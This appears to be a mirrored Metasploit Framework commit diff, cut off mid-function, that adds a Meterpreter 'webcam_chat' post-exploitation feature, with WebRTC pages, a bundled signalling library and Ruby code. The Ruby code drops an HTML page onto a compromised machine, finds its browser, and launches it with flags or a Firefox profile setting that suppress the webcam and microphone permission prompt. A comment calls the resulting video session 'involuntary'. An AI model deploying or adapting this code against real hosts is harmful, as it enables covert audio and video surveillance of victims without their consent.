mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #2983, webcam_chat for Meterpreter
This commit is contained in:
commit
8e0a4aaa58
5
LICENSE
5
LICENSE
@ -151,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
|
||||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
193
data/webcam/answerer.html
Normal file
193
data/webcam/answerer.html
Normal file
@ -0,0 +1,193 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>webcam_chat</title>
|
||||
<style type="text/css">
|
||||
div.container {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.windowa {
|
||||
height: 480px;
|
||||
width: 640px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
background-color: black;
|
||||
position: absolute;
|
||||
left: 50;
|
||||
padding : 10px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
color: white;
|
||||
}
|
||||
|
||||
div.windowb {
|
||||
height: 180px;
|
||||
width: 200px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
background-color: #9B9B9B;
|
||||
position: absolute;
|
||||
top: 480;
|
||||
left: 470;
|
||||
padding: 10px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
div.windowc {
|
||||
position: absolute;
|
||||
top: 510;
|
||||
left: 80;
|
||||
height: 150px;
|
||||
width: 380px;
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
video.peer {
|
||||
position: absolute;
|
||||
top: 15;
|
||||
left: 10;
|
||||
}
|
||||
|
||||
video.self {
|
||||
position: absolute;
|
||||
top: 5;
|
||||
left: 10;
|
||||
}
|
||||
</style>
|
||||
<script src="=WEBRTCAPIJS="> </script>
|
||||
<script>
|
||||
window.onerror = function(e) {
|
||||
document.getElementById("message").innerHTML = "Error: " + e.toString();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
|
||||
}
|
||||
|
||||
var channel = '=CHANNEL=';
|
||||
var websocket = new WebSocket('ws://=SERVER=');
|
||||
var inSession = false;
|
||||
|
||||
websocket.onopen = function() {
|
||||
websocket.push(JSON.stringify({
|
||||
open: true,
|
||||
channel: channel
|
||||
}));
|
||||
};
|
||||
|
||||
websocket.push = websocket.send;
|
||||
websocket.send = function(data) {
|
||||
websocket.push(JSON.stringify({
|
||||
data: data,
|
||||
channel: channel
|
||||
}));
|
||||
};
|
||||
|
||||
var peer = new PeerConnection(websocket);
|
||||
peer.onUserFound = function(userid) {
|
||||
if (inSession) {
|
||||
console.debug("Already in session, will not send another participation request");
|
||||
return;
|
||||
};
|
||||
|
||||
userid = "=OFFERERID=";
|
||||
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.sendParticipationRequest(userid);
|
||||
inSession = true;
|
||||
document.getElementById("message").innerHTML = "Session is now active.";
|
||||
});
|
||||
};
|
||||
|
||||
peer.onStreamAdded = function(e) {
|
||||
var video = e.mediaElement;
|
||||
if (e.userid == 'self') {
|
||||
video.controls = true;
|
||||
video.setAttribute('width', 200);
|
||||
video.setAttribute('height', 190);
|
||||
video.setAttribute('controls', false);
|
||||
video.setAttribute('class', 'self');
|
||||
document.getElementById("windowb").appendChild(video);
|
||||
}
|
||||
else {
|
||||
video.controls = true;
|
||||
video.setAttribute('width', 640);
|
||||
video.setAttribute('height', 460);
|
||||
video.setAttribute('controls', false);
|
||||
video.setAttribute('class', 'peer');
|
||||
document.getElementById("windowa").appendChild(video);
|
||||
}
|
||||
video.muted = false;
|
||||
video.volume = 0.5;
|
||||
video.play();
|
||||
};
|
||||
|
||||
peer.onStreamEnded = function(e) {
|
||||
var video = e.mediaElement;
|
||||
if (video) {
|
||||
video.style.opacity = 0;
|
||||
setTimeout(function() {
|
||||
video.parentNode.removeChild(video);
|
||||
}, 1000);
|
||||
}
|
||||
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||
};
|
||||
|
||||
function getUserMedia(callback) {
|
||||
|
||||
var hints = {audio:true,video:{
|
||||
optional: [],
|
||||
mandatory: {
|
||||
minWidth: 1280,
|
||||
minHeight: 720,
|
||||
maxWidth: 1920,
|
||||
maxHeight: 1080,
|
||||
minAspectRatio: 1.77
|
||||
}
|
||||
}};
|
||||
|
||||
navigator.getUserMedia(hints,function(stream) {
|
||||
var video = document.createElement('video');
|
||||
video.src = URL.createObjectURL(stream);
|
||||
|
||||
peer.onStreamAdded({
|
||||
mediaElement: video,
|
||||
userid: 'self',
|
||||
stream: stream
|
||||
});
|
||||
|
||||
callback(stream);
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
<div class="windowa" id="windowa">
|
||||
</div>
|
||||
<div class="windowb" id="windowb">
|
||||
</div>
|
||||
<div class="windowc">
|
||||
<b>Session status (=RHOST=):</b><p></p>
|
||||
<span id="message"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
363
data/webcam/api.js
Normal file
363
data/webcam/api.js
Normal file
@ -0,0 +1,363 @@
|
||||
// Muaz Khan - https://github.com/muaz-khan
|
||||
// MIT License - https://www.webrtc-experiment.com/licence/
|
||||
// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
|
||||
|
||||
(function () {
|
||||
|
||||
window.PeerConnection = function (socketURL, userid) {
|
||||
this.userid = userid || getToken();
|
||||
this.peers = {};
|
||||
|
||||
if (!socketURL) throw 'Socket-URL is mandatory.';
|
||||
|
||||
new Signaler(this, socketURL);
|
||||
|
||||
this.addStream = function(stream) {
|
||||
this.MediaStream = stream;
|
||||
};
|
||||
};
|
||||
|
||||
function Signaler(root, socketURL) {
|
||||
var self = this;
|
||||
|
||||
root.startBroadcasting = function () {
|
||||
if(!root.MediaStream) throw 'Offerer must have media stream.';
|
||||
|
||||
(function transmit() {
|
||||
socket.send({
|
||||
userid: root.userid,
|
||||
broadcasting: true
|
||||
});
|
||||
!self.participantFound &&
|
||||
!self.stopBroadcasting &&
|
||||
setTimeout(transmit, 3000);
|
||||
})();
|
||||
};
|
||||
|
||||
root.sendParticipationRequest = function (userid) {
|
||||
socket.send({
|
||||
participationRequest: true,
|
||||
userid: root.userid,
|
||||
to: userid
|
||||
});
|
||||
};
|
||||
|
||||
// if someone shared SDP
|
||||
this.onsdp = function (message) {
|
||||
var sdp = message.sdp;
|
||||
|
||||
if (sdp.type == 'offer') {
|
||||
root.peers[message.userid] = Answer.createAnswer(merge(options, {
|
||||
MediaStream: root.MediaStream,
|
||||
sdp: sdp
|
||||
}));
|
||||
}
|
||||
|
||||
if (sdp.type == 'answer') {
|
||||
root.peers[message.userid].setRemoteDescription(sdp);
|
||||
}
|
||||
};
|
||||
|
||||
root.acceptRequest = function (userid) {
|
||||
root.peers[userid] = Offer.createOffer(merge(options, {
|
||||
MediaStream: root.MediaStream
|
||||
}));
|
||||
};
|
||||
|
||||
var candidates = [];
|
||||
// if someone shared ICE
|
||||
this.onice = function (message) {
|
||||
var peer = root.peers[message.userid];
|
||||
if (peer) {
|
||||
peer.addIceCandidate(message.candidate);
|
||||
for (var i = 0; i < candidates.length; i++) {
|
||||
peer.addIceCandidate(candidates[i]);
|
||||
}
|
||||
candidates = [];
|
||||
} else candidates.push(candidates);
|
||||
};
|
||||
|
||||
// it is passed over Offer/Answer objects for reusability
|
||||
var options = {
|
||||
onsdp: function (sdp) {
|
||||
socket.send({
|
||||
userid: root.userid,
|
||||
sdp: sdp,
|
||||
to: root.participant
|
||||
});
|
||||
},
|
||||
onicecandidate: function (candidate) {
|
||||
socket.send({
|
||||
userid: root.userid,
|
||||
candidate: candidate,
|
||||
to: root.participant
|
||||
});
|
||||
},
|
||||
onStreamAdded: function (stream) {
|
||||
console.debug('onStreamAdded', '>>>>>>', stream);
|
||||
|
||||
stream.onended = function () {
|
||||
if (root.onStreamEnded) root.onStreamEnded(streamObject);
|
||||
};
|
||||
|
||||
var mediaElement = document.createElement('video');
|
||||
mediaElement.id = root.participant;
|
||||
mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
|
||||
mediaElement.autoplay = true;
|
||||
mediaElement.controls = true;
|
||||
mediaElement.play();
|
||||
|
||||
var streamObject = {
|
||||
mediaElement: mediaElement,
|
||||
stream: stream,
|
||||
userid: root.participant,
|
||||
type: 'remote'
|
||||
};
|
||||
|
||||
function afterRemoteStreamStartedFlowing() {
|
||||
if (!root.onStreamAdded) return;
|
||||
root.onStreamAdded(streamObject);
|
||||
}
|
||||
|
||||
afterRemoteStreamStartedFlowing();
|
||||
}
|
||||
};
|
||||
|
||||
function closePeerConnections() {
|
||||
self.stopBroadcasting = true;
|
||||
if (root.MediaStream) root.MediaStream.stop();
|
||||
|
||||
for (var userid in root.peers) {
|
||||
root.peers[userid].peer.close();
|
||||
}
|
||||
root.peers = {};
|
||||
}
|
||||
|
||||
root.close = function () {
|
||||
socket.send({
|
||||
userLeft: true,
|
||||
userid: root.userid,
|
||||
to: root.participant
|
||||
});
|
||||
closePeerConnections();
|
||||
};
|
||||
|
||||
window.onbeforeunload = function () {
|
||||
root.close();
|
||||
};
|
||||
|
||||
window.onkeyup = function (e) {
|
||||
if (e.keyCode == 116)
|
||||
root.close();
|
||||
};
|
||||
|
||||
function onmessage(e) {
|
||||
var message = JSON.parse(e.data);
|
||||
|
||||
if (message.userid == root.userid) return;
|
||||
root.participant = message.userid;
|
||||
|
||||
// for pretty logging
|
||||
console.debug(JSON.stringify(message, function (key, value) {
|
||||
if (value && value.sdp) {
|
||||
console.log(value.sdp.type, '---', value.sdp.sdp);
|
||||
return '';
|
||||
} else return value;
|
||||
}, '---'));
|
||||
|
||||
// if someone shared SDP
|
||||
if (message.sdp && message.to == root.userid) {
|
||||
self.onsdp(message);
|
||||
}
|
||||
|
||||
// if someone shared ICE
|
||||
if (message.candidate && message.to == root.userid) {
|
||||
self.onice(message);
|
||||
}
|
||||
|
||||
// if someone sent participation request
|
||||
if (message.participationRequest && message.to == root.userid) {
|
||||
self.participantFound = true;
|
||||
|
||||
if (root.onParticipationRequest) {
|
||||
root.onParticipationRequest(message.userid);
|
||||
} else root.acceptRequest(message.userid);
|
||||
}
|
||||
|
||||
// if someone is broadcasting himself!
|
||||
if (message.broadcasting && root.onUserFound) {
|
||||
root.onUserFound(message.userid);
|
||||
}
|
||||
|
||||
if (message.userLeft && message.to == root.userid) {
|
||||
closePeerConnections();
|
||||
}
|
||||
}
|
||||
|
||||
var socket = socketURL;
|
||||
if(typeof socketURL == 'string') {
|
||||
socket = new WebSocket(socketURL);
|
||||
socket.push = socket.send;
|
||||
socket.send = function (data) {
|
||||
socket.push(JSON.stringify(data));
|
||||
};
|
||||
|
||||
socket.onopen = function () {
|
||||
console.log('websocket connection opened.');
|
||||
};
|
||||
}
|
||||
socket.onmessage = onmessage;
|
||||
}
|
||||
|
||||
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
|
||||
var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
|
||||
var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
|
||||
|
||||
navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
|
||||
window.URL = window.webkitURL || window.URL;
|
||||
|
||||
var isFirefox = !!navigator.mozGetUserMedia;
|
||||
var isChrome = !!navigator.webkitGetUserMedia;
|
||||
|
||||
var STUN = {
|
||||
url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
|
||||
};
|
||||
|
||||
var TURN = {
|
||||
url: 'turn:homeo@turn.bistri.com:80',
|
||||
credential: 'homeo'
|
||||
};
|
||||
|
||||
var iceServers = {
|
||||
iceServers: [STUN]
|
||||
};
|
||||
|
||||
if (isChrome) {
|
||||
if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
|
||||
TURN = {
|
||||
url: 'turn:turn.bistri.com:80',
|
||||
credential: 'homeo',
|
||||
username: 'homeo'
|
||||
};
|
||||
|
||||
iceServers.iceServers = [STUN, TURN];
|
||||
}
|
||||
|
||||
var optionalArgument = {
|
||||
optional: [{
|
||||
DtlsSrtpKeyAgreement: true
|
||||
}]
|
||||
};
|
||||
|
||||
var offerAnswerConstraints = {
|
||||
optional: [],
|
||||
mandatory: {
|
||||
OfferToReceiveAudio: true,
|
||||
OfferToReceiveVideo: true
|
||||
}
|
||||
};
|
||||
|
||||
function getToken() {
|
||||
return Math.round(Math.random() * 9999999999) + 9999999999;
|
||||
}
|
||||
|
||||
function onSdpError() {}
|
||||
|
||||
// var offer = Offer.createOffer(config);
|
||||
// offer.setRemoteDescription(sdp);
|
||||
// offer.addIceCandidate(candidate);
|
||||
var Offer = {
|
||||
createOffer: function (config) {
|
||||
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||
|
||||
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||
peer.onaddstream = function (event) {
|
||||
config.onStreamAdded(event.stream);
|
||||
};
|
||||
|
||||
peer.onicecandidate = function (event) {
|
||||
if (event.candidate)
|
||||
config.onicecandidate(event.candidate);
|
||||
};
|
||||
|
||||
peer.createOffer(function (sdp) {
|
||||
peer.setLocalDescription(sdp);
|
||||
config.onsdp(sdp);
|
||||
}, onSdpError, offerAnswerConstraints);
|
||||
|
||||
this.peer = peer;
|
||||
|
||||
return this;
|
||||
},
|
||||
setRemoteDescription: function (sdp) {
|
||||
this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
|
||||
},
|
||||
addIceCandidate: function (candidate) {
|
||||
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||
candidate: candidate.candidate
|
||||
}));
|
||||
}
|
||||
};
|
||||
|
||||
// var answer = Answer.createAnswer(config);
|
||||
// answer.setRemoteDescription(sdp);
|
||||
// answer.addIceCandidate(candidate);
|
||||
var Answer = {
|
||||
createAnswer: function (config) {
|
||||
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||
|
||||
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||
peer.onaddstream = function (event) {
|
||||
config.onStreamAdded(event.stream);
|
||||
};
|
||||
|
||||
peer.onicecandidate = function (event) {
|
||||
if (event.candidate)
|
||||
config.onicecandidate(event.candidate);
|
||||
};
|
||||
|
||||
peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
|
||||
peer.createAnswer(function (sdp) {
|
||||
peer.setLocalDescription(sdp);
|
||||
config.onsdp(sdp);
|
||||
}, onSdpError, offerAnswerConstraints);
|
||||
|
||||
this.peer = peer;
|
||||
|
||||
return this;
|
||||
},
|
||||
addIceCandidate: function (candidate) {
|
||||
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||
candidate: candidate.candidate
|
||||
}));
|
||||
}
|
||||
};
|
||||
|
||||
function merge(mergein, mergeto) {
|
||||
for (var t in mergeto) {
|
||||
mergein[t] = mergeto[t];
|
||||
}
|
||||
return mergein;
|
||||
}
|
||||
|
||||
window.URL = window.webkitURL || window.URL;
|
||||
navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
|
||||
navigator.getUserMedia = function(hints, onsuccess, onfailure) {
|
||||
if(!hints) hints = {audio:true,video:true};
|
||||
if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
|
||||
|
||||
navigator.getMedia(hints, _onsuccess, _onfailure);
|
||||
|
||||
function _onsuccess(stream) {
|
||||
onsuccess(stream);
|
||||
}
|
||||
|
||||
function _onfailure(e) {
|
||||
if(onfailure) onfailure(e);
|
||||
else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
|
||||
}
|
||||
};
|
||||
|
||||
})();
|
195
data/webcam/offerer.html
Normal file
195
data/webcam/offerer.html
Normal file
@ -0,0 +1,195 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Video session</title>
|
||||
<style type="text/css">
|
||||
div.dot1 {
|
||||
position: absolute;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
margin: 30px auto 0;
|
||||
border-radius: 50px;
|
||||
background-color: red;
|
||||
top: 150;
|
||||
left: 470;
|
||||
}
|
||||
|
||||
div.dot2 {
|
||||
position: absolute;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
margin: 30px auto 0;
|
||||
border-radius: 50px;
|
||||
background-color: red;
|
||||
top: 150;
|
||||
left: 505;
|
||||
}
|
||||
|
||||
div.dot3 {
|
||||
position: absolute;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
margin: 30px auto 0;
|
||||
border-radius: 50px;
|
||||
background-color: red;
|
||||
top: 150;
|
||||
left: 540;
|
||||
}
|
||||
|
||||
div.windowa {
|
||||
height: 340px;
|
||||
width: 420px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
background-color: black;
|
||||
position: absolute;
|
||||
left: 20;
|
||||
padding : 10px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
color: white;
|
||||
}
|
||||
|
||||
div.windowb {
|
||||
height: 340px;
|
||||
width: 420px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
background-color: black;
|
||||
position: absolute;
|
||||
left: 570;
|
||||
padding : 10px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
color: white;
|
||||
}
|
||||
|
||||
div.windowc {
|
||||
position: absolute;
|
||||
top: 400;
|
||||
left: 60;
|
||||
height: 50px;
|
||||
width: 900px;
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script src="api.js"> </script>
|
||||
<script>
|
||||
var channel = '=CHANNEL=';
|
||||
var websocket = new WebSocket('ws://=SERVER=');
|
||||
|
||||
websocket.onopen = function() {
|
||||
websocket.push(JSON.stringify({
|
||||
open: true,
|
||||
channel: channel
|
||||
}));
|
||||
};
|
||||
|
||||
websocket.push = websocket.send;
|
||||
websocket.send = function(data) {
|
||||
websocket.push(JSON.stringify({
|
||||
data: data,
|
||||
channel: channel
|
||||
}));
|
||||
};
|
||||
|
||||
var peer = new PeerConnection(websocket, '=OFFERERID=');
|
||||
|
||||
peer.onStreamAdded = function(e) {
|
||||
var video = e.mediaElement;
|
||||
video.setAttribute('width', 420);
|
||||
video.setAttribute('height', 340);
|
||||
video.setAttribute('controls', false);
|
||||
video.volume = 0.5;
|
||||
|
||||
if (e.userid == 'self') {
|
||||
document.getElementById("windowb").appendChild(video);
|
||||
}
|
||||
else {
|
||||
document.getElementById("windowa").appendChild(video);
|
||||
document.getElementById("message").innerHTML = "Session is now active.";
|
||||
}
|
||||
|
||||
video.play();
|
||||
};
|
||||
|
||||
peer.onStreamEnded = function(e) {
|
||||
var video = e.mediaElement;
|
||||
if (video) {
|
||||
video.style.opacity = 0;
|
||||
setTimeout(function() {
|
||||
video.parentNode.removeChild(video);
|
||||
}, 1000);
|
||||
}
|
||||
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.startBroadcasting();
|
||||
});
|
||||
};
|
||||
|
||||
function getUserMedia(callback) {
|
||||
var hints = {audio:true,video:{
|
||||
optional: [],
|
||||
mandatory: {
|
||||
minWidth: 1280,
|
||||
minHeight: 720,
|
||||
maxWidth: 1920,
|
||||
maxHeight: 1080,
|
||||
minAspectRatio: 1.77
|
||||
}
|
||||
}};
|
||||
|
||||
navigator.getUserMedia(hints,function(stream) {
|
||||
var video = document.createElement('video');
|
||||
video.src = URL.createObjectURL(stream);
|
||||
peer.onStreamAdded({
|
||||
mediaElement: video,
|
||||
userid: 'self',
|
||||
stream: stream
|
||||
});
|
||||
|
||||
callback(stream);
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="windowa" id="windowa">
|
||||
<b>You peer</b>
|
||||
</div>
|
||||
|
||||
<div class="dot1"></div>
|
||||
<div class="dot2"></div>
|
||||
<div class="dot3"></div>
|
||||
|
||||
<div class="windowb" id="windowb">
|
||||
<b>You</b>
|
||||
</div>
|
||||
|
||||
<div class="windowc">
|
||||
<b>Status:</b><p></p>
|
||||
<span id="message">Waiting for your peer to join the video session...</span>
|
||||
</div>
|
||||
|
||||
<div class="footer">
|
||||
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -114,7 +114,7 @@ def self.open_file(url='')
|
||||
end
|
||||
end
|
||||
|
||||
def self.open_browser(url='http://metasploit.com/')
|
||||
def self.open_browser(url='http://google.com/')
|
||||
case RUBY_PLATFORM
|
||||
when /cygwin/
|
||||
if(url[0,1] == "/")
|
||||
@ -148,6 +148,62 @@ def self.open_browser(url='http://metasploit.com/')
|
||||
end
|
||||
end
|
||||
|
||||
def self.open_webrtc_browser(url='http://google.com/')
|
||||
found_browser = false
|
||||
|
||||
case RUBY_PLATFORM
|
||||
when /mswin2|mingw|cygwin/
|
||||
paths = [
|
||||
"Google\\Chrome\\Application\\chrome.exe",
|
||||
"Mozilla Firefox\\firefox.exe",
|
||||
"Opera\\launcher.exe"
|
||||
]
|
||||
|
||||
prog_files = ENV['ProgramFiles']
|
||||
paths = paths.map { |p| "#{prog_files}\\#{p}" }
|
||||
|
||||
# Old chrome path
|
||||
app_data = ENV['APPDATA']
|
||||
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |p|
|
||||
if File.exists?(p)
|
||||
args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{path} #{args} #{url}")
|
||||
found_browser = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
when /darwin/
|
||||
['Google Chrome.app', 'Firefox.app'].each do |browser|
|
||||
browser_path = "/Applications/#{browser}"
|
||||
if File.directory?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
|
||||
|
||||
system("open #{url} -a \"#{browser_path}\" #{args} &")
|
||||
found_browser = true
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
if defined? ENV['PATH']
|
||||
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
browser_path = "#{path}/#{browser}"
|
||||
if File.exists?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{browser_path} #{args} #{url} &")
|
||||
found_browser = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
found_browser
|
||||
end
|
||||
|
||||
def self.open_email(addr)
|
||||
case RUBY_PLATFORM
|
||||
when /mswin32|cygwin/
|
||||
|
@ -1,5 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#require 'rex/post/meterpreter/extensions/process'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
@ -14,10 +16,17 @@ module Webcam
|
||||
###
|
||||
class Webcam
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(client)
|
||||
@client = client
|
||||
end
|
||||
|
||||
def session
|
||||
@client
|
||||
end
|
||||
|
||||
def webcam_list
|
||||
response = client.send_request(Packet.create_request('webcam_list'))
|
||||
names = []
|
||||
@ -47,6 +56,26 @@ class Webcam
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a webcam session with a remote user via WebRTC
|
||||
#
|
||||
# @param server [String] A server to use for the channel.
|
||||
# @return void
|
||||
#
|
||||
def webcam_chat(server)
|
||||
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
||||
channel = Rex::Text.rand_text_alphanumeric(20)
|
||||
|
||||
remote_browser_path = get_webrtc_browser_path
|
||||
|
||||
if remote_browser_path.blank?
|
||||
raise RuntimeError, "Unable to find a suitable browser on the target machine"
|
||||
end
|
||||
|
||||
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||
connect_video_chat(server, channel, offerer_id)
|
||||
end
|
||||
|
||||
# Record from default audio source for +duration+ seconds;
|
||||
# returns a low-quality wav file
|
||||
def record_mic(duration)
|
||||
@ -58,6 +87,174 @@ class Webcam
|
||||
|
||||
attr_accessor :client
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a browser path that supports WebRTC
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_webrtc_browser_path
|
||||
found_browser_path = ''
|
||||
|
||||
case client.platform
|
||||
when /win/
|
||||
paths = [
|
||||
"Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"Program Files\\Mozilla Firefox\\firefox.exe"
|
||||
]
|
||||
|
||||
drive = session.sys.config.getenv("SYSTEMDRIVE")
|
||||
paths = paths.map { |p| "#{drive}\\#{p}" }
|
||||
|
||||
# Old chrome path
|
||||
user_profile = client.sys.config.getenv("USERPROFILE")
|
||||
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |browser_path|
|
||||
if file?(browser_path)
|
||||
found_browser_path = browser_path
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
when /osx|bsd/
|
||||
[
|
||||
'/Applications/Google Chrome.app',
|
||||
'/Applications/Firefox.app',
|
||||
].each do |browser_path|
|
||||
if file?(browser_path)
|
||||
found_browser_path = browser_path
|
||||
break
|
||||
end
|
||||
end
|
||||
when /linux|unix/
|
||||
# Need to add support for Linux in the future.
|
||||
# But you see, the Linux meterpreter is so broken there is no point
|
||||
# to do it now. You can't test anyway.
|
||||
end
|
||||
|
||||
found_browser_path
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates a video chat session as an offerer... involuntarily :-p
|
||||
# Windows targets only.
|
||||
#
|
||||
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
|
||||
# @param offerer_id [String] A ID that the answerer can look for and join
|
||||
#
|
||||
def init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||
interface = load_interface('offerer.html')
|
||||
api = load_api_code
|
||||
|
||||
interface = interface.gsub(/\=SERVER\=/, server)
|
||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_dir = session.sys.config.getenv("TEMP")
|
||||
|
||||
begin
|
||||
write_file("#{tmp_dir}\\interface.html", interface)
|
||||
write_file("#{tmp_dir}\\api.js", api)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed. #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to initialize the interface on the target machine"
|
||||
end
|
||||
|
||||
#
|
||||
# Automatically allow the webcam to run on the target machine
|
||||
#
|
||||
args = ''
|
||||
if remote_browser_path =~ /Chrome/
|
||||
args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
|
||||
elsif remote_browser_path =~ /Firefox/
|
||||
profile_name = Rex::Text.rand_text_alpha(8)
|
||||
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
|
||||
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
|
||||
setting = %Q|user_pref("media.navigator.permission.disabled", true);|
|
||||
begin
|
||||
write_file(profile_path, setting)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed: #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to write the necessary setting for Firefox."
|
||||
end
|
||||
args = "-p #{profile_name}"
|
||||
end
|
||||
|
||||
exec_opts = {'Hidden' => false, 'Channelized' => false}
|
||||
|
||||
begin
|
||||
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed. #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to start the remote browser: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Connects to a video chat session as an answerer
|
||||
#
|
||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||
# @return void
|
||||
#
|
||||
def connect_video_chat(server, channel, offerer_id)
|
||||
interface = load_interface('answerer.html')
|
||||
api = load_api_code
|
||||
|
||||
tmp_api = Tempfile.new('api.js')
|
||||
tmp_api.binmode
|
||||
tmp_api.write(api)
|
||||
tmp_api.close
|
||||
|
||||
interface = interface.gsub(/\=SERVER\=/, server)
|
||||
